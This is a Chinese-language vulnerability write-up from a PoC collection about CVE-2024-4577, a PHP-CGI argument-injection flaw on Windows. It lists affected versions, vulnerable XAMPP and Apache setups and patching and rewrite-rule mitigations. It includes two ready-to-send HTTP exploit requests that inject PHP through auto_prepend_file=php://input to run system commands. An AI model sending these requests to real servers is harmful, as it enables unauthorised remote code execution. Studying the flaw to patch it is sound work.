Awesome-POC/开发语言漏洞/PHP CGI Windows 平台远程代码执行漏洞 CVE-2024-4577.md
2024-11-06 14:10:36 +08:00

141 lines
3.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PHP CGI Windows 平台远程代码执行漏洞 CVE-2024-4577
## 漏洞描述
PHP 在设计时忽略 Windows 中对字符转换的 Best-Fit 特性,当 PHP 运行在 Window 平台且使用了如下语系(简体中文 936/繁体中文 950/日文 932 等)时,攻击者可构造恶意请求绕过 CVE-2012-1823 保护,从而可在无需登陆的情况下执行任意 PHP 代码。
参考链接:
- https://ti.qianxin.com/vulnerability/notice-detail/1020?type=risk
## 漏洞影响
主要影响 PHP 在 Windows 操作系统上的安装版本:
```
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
```
查看 Windows 操作系统默认编码936 为中文 GBK65001 为 UTF-8
```
chcp
```
## 环境搭建
### 场景 1 - 在 CGI 模式下运行 PHP
在配置 Action 指令将相应的 HTTP 请求映射到 Apache HTTP Server 中的 PHP-CGI 可执行二进制文件时,可直接利用此漏洞。受影响的常见配置包括但不限于:
```
AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"
```
或者
```
<FilesMatch "\.php$">
SetHandler application/x-httpd-php-cgi
</FilesMatch>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
```
### 场景 2 - 公开 PHP 二进制文件(默认的 XAMPP 配置)
常见场景包括但不限于:
1. 将 php.exe 或复制 php-cgi.exe 到/cgi-bin/目录。
2. 通过指令公开 PHP 目录 ScriptAlias例如在 XAMPP 默认配置 `httpd-xampp.conf` 中:
```
ScriptAlias /php-cgi/ "C:/xampp/php/"
```
[官网](https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.1.25/xampp-windows-x64-8.1.25-0-VS16-installer.exe) 搭建环境php 版本 8.1.25。启动完成后,访问 `http://your-ip/dashboard` 即可看到 XAMPP 主页:
![](images/PHP%20CGI%20Windows%20平台远程代码执行漏洞%20CVE-2024-4577/image-20240612153916606.png)
## 漏洞复现
poc1
```
GET /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
REDIRECT-STATUS:1
<?php system("dir");?>
```
![](images/PHP%20CGI%20Windows%20平台远程代码执行漏洞%20CVE-2024-4577/image-20240612154037916.png)
poc2
```
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
REDIRECT-STATUS:1
<?php system("dir");?>
```
![](images/PHP%20CGI%20Windows%20平台远程代码执行漏洞%20CVE-2024-4577/image-20240612154050322.png)
## 漏洞修复
### 安全更新
目前官方已有可更新版本,建议受影响用户升级至最新版本:
```
PHP 8.3 >= 8.3.8
PHP 8.2 >= 8.2.20
PHP 8.1 >= 8.1.29
```
注:由于 PHP 8.0、PHP 7 和 PHP 5 的分支已终止使用,并且不再维护,服务器管理员可以参考“缓解方案”中的临时补丁建议。
官方下载地址:
https://www.php.net/downloads.php
### 缓解方案
#### 1. 对于无法升级 PHP 的用户
以下重写规则可用于阻止攻击。需要注意的是,这些规则仅对繁体中文、简体中文和日语语言环境起到临时缓解作用。在实际操作中,仍然建议更新到补丁版本或迁移架构。
```
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]
```
#### 2. 对于使用 XAMPP for Windows 的用户
如果确认不需要 PHP CGI 功能,可以通过修改以下 Apache HTTP Server 配置来避免受到该漏洞的影响:
```
C:/xampp/apache/conf/extra/httpd-xampp.conf
```
找到相应的行:
```
ScriptAlias /php-cgi/"C:/xampp/php/"
```
并将其注释掉:
```
# ScriptAlias /php-cgi/"C:/xampp/php/"
```